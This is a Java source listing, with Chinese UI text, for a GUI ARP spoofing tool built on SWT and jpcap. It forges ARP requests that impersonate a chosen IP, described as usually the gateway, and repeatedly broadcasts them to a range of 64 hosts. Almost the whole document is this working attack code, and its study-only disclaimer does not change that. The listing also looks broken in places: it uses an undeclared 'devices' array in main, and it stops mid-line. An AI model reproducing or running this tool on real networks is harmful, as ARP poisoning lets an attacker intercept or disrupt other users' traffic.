ARP工具JAVA源代码

import java.io.IOException; import java.net.InetAddress; import java.net.UnknownHostException; import org.eclipse.swt.SWT; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Combo; import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.NetworkInterface; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Link; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; import com.swtdesigner.SWTResourceManager; public class ARP { private static Text text_2; private static Text text_1; private static Combo combo; private static Text text; private static boolean stopFlag; /** * Launch the application * @param args */ public static void arp(String[] args,int key) throws IOException { // TODO 自动生成方法存根 NetworkInterface[] devices=JpcapCaptor.getDeviceList(); NetworkInterface device=null; device = devices[key]; JpcapCaptor captor=JpcapCaptor.openDevice(device,2000,false,3000); captor.setFilter("arp",true); final JpcapSender sender=captor.getJpcapSenderInstance(); InetAddress srcip=InetAddress.getByName(args[0]); //InetAddress dstip=InetAddress.getByName("192.168.1.101"); // open Jpcap byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; final ARPPacket arp=new ARPPacket(); arp.hardtype=ARPPacket.HARDTYPE_ETHER; arp.prototype=ARPPacket.PROTOTYPE_IP; arp.operation=ARPPacket.ARP_REQUEST; arp.hlen=6; arp.plen=4; arp.sender_hardaddr=device.mac_address; arp.sender_protoaddr=srcip.getAddress(); arp.target_hardaddr=broadcast; EthernetPacket ether=new EthernetPacket(); ether.frametype=EthernetPacket.ETHERTYPE_ARP; ether.src_mac=device.mac_address; ether.dst_mac=broadcast; arp.datalink=ether; final long ip = ip2long(args[1]); new Thread(){ public void run(){ int h = 0; stopFlag = false; while (!stopFlag){ for (long j= ip;j<ip+64;j++) { InetAddress dstip = null; try { dstip = InetAddress.getByName(long2ip(j)); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } arp.target_protoaddr=dstip.getAddress(); sender.sendPacket(arp); //System.out.println(long2ip(j)); } final String str = "第"+h+"次发送\n"; Display.getDefault().syncExec(new Runnable(){ public void run(){ text_2.insert(str); } }); //System.out.println("第"+h+"次发送"); h++; try { Thread.sleep(500); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }.start(); } public static int str2Ip(String ip) throws IOException { InetAddress address = InetAddress.getByName(ip);//在给定主机名的情况下确定主机的 IP 址。 byte[] bytes = address.getAddress();//返回此 InetAddress 对象的原始 IP 地址 int a, b, c, d; a = byte2int(bytes[0]); b = byte2int(bytes[1]); c = byte2int(bytes[2]); d = byte2int(bytes[3]); int result = (a << 24) | (b << 16) | (c << 8) | d; return result; } public static int byte2int(byte b) { int l = b & 0x07f; if (b < 0) { l |= 0x80; } return l; } public static long ip2long(String ip) throws IOException { int ipNum = str2Ip(ip); return int2long(ipNum); } public static long int2long(int i) { long l = i & 0x7fffffffL; if (i < 0) { l |= 0x080000000L; } return l; } public static String long2ip(long ip) { int[] b = new int[4]; b[0] = (int) ( (ip >> 24) & 0xff); b[1] = (int) ( (ip >> 16) & 0xff); b[2] = (int) ( (ip >> 8) & 0xff); b[3] = (int) (ip & 0xff); String x; Integer p; p = new Integer(0); x = p.toString(b[0]) + "." + p.toString(b[1]) + "." + p.toString(b[2]) + "." + p.toString(b[3]); return x; } public static void main(String[] args) { final Display display = Display.getDefault(); final Shell arpSenderShell = new Shell(); arpSenderShell.setImage(SWTResourceManager.getImage(ARP.class, "/org/eclipse/jface/fieldassist/images/info_ovr.gif")); arpSenderShell.setSize(500, 375); arpSenderShell.setText("ARP 发送器"); // NetworkInterface[] devices=JpcapCaptor.getDeviceList(); arpSenderShell.open(); final Label label = new Label(arpSenderShell, SWT.NONE); label.setText("仿冒的IP"); label.setBounds(50, 88, 59, 12); text = new Text(arpSenderShell, SWT.BORDER); text.setText("192.168.1.20"); text.setBounds(130, 80, 138, 25); final Label label_1 = new Label(arpSenderShell, SWT.NONE); label_1.setText("接收的IP"); label_1.setBounds(50, 127, 48, 12); final Label label_2 = new Label(arpSenderShell, SWT.NONE); label_2.setText("选择网卡"); label_2.setBounds(52, 48, 46, 12); combo = new Combo(arpSenderShell, SWT.NONE); combo.setBounds(130, 45, 138, 20); for (int i=0;i<devices.length;i++) combo.add(devices[i].description); combo.select(1); text_1 = new Text(arpSenderShell, SWT.BORDER); text_1.setText("192.168.1.50"); text_1.setBounds(130, 124, 138, 25); final Button button_1 = new Button(arpSenderShell, SWT.NONE); final Button button = new Button(arpSenderShell, SWT.NONE); button_1.addSelectionListener(new SelectionAdapter() { public void widgetSelected(final SelectionEvent e) { int key = combo.getSelectionIndex(); String [] args =new String[2]; args[0] = text.getText(); args[1] = text_1.getText(); button_1.setEnabled(false); button.setEnabled(true); try { ARP.arp(args, key); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } }); button_1.setText("开始"); button_1.setBounds(99, 169, 48, 22); text_2 = new Text(arpSenderShell, SWT.V_SCROLL | SWT.MULTI | SWT.BORDER); text_2.setBounds(32, 209, 244, 105); button.addSelectionListener(new SelectionAdapter() { public void widgetSelected(final SelectionEvent e) { stopFlag = true; button.setEnabled(false); button_1.setEnabled(true); } }); button.setText("停止"); button.setEnabled(false); button.setBounds(175, 169, 48, 22); final Label label_3 = new Label(arpSenderShell, SWT.NONE); label_3.setText("选择你发送的网卡"); label_3.setBounds(293, 48, 111, 12); final Label label_4 = new Label(arpSenderShell, SWT.NONE); label_4.setText("输入你需要仿冒的IP，通常是网关"); label_4.setBounds(293, 88, 189, 12); final Label label_5 = new Label(arpSenderShell, SWT.WRAP); label_5.setText("输入接收这个仿冒的ARP包的开始IP系统会自动在这个IP之后加64。"); label_5.setBounds(293, 127, 189, 33); final Label label_6 = new Label(arpSenderShell, SWT.NONE); label_6.setForeground(SWTResourceManager.getColor(255, 0, 0)); label_6.setFont(SWTResourceManager.getFont("", 11, SWT.NONE)); label_6.setText("注意：本软件只供学习测试用，不能用来恶意攻击其他计算机。"); label_6.setBounds(50, 10, 432, 29); final Label label_7 = new Label(arpSenderShell, SWT.WRAP); label_7.setText("作者：gengyangzhong 邮件：gengyangzhong#126.com"); label_7.setBounds(293, 212, 164, 33); final Label httpwwwe362cnLabel = new Label(arpSenderShell, SWT.NONE); httpwwwe362cnLabel.setText("http://www.e362.cn"); httpwwwe362cnLabel.setBounds(293, 251, 111, 12); final Button button_2 = new Button(arpSenderShell, SWT.NONE); button_2.addSelectionListener(new SelectionAdapter() { public void widgetSelected(final SelectionEvent e) { try { Runtime.getRuntime().exec("explorer.exe http://www.e362.cn/netsafe/2008/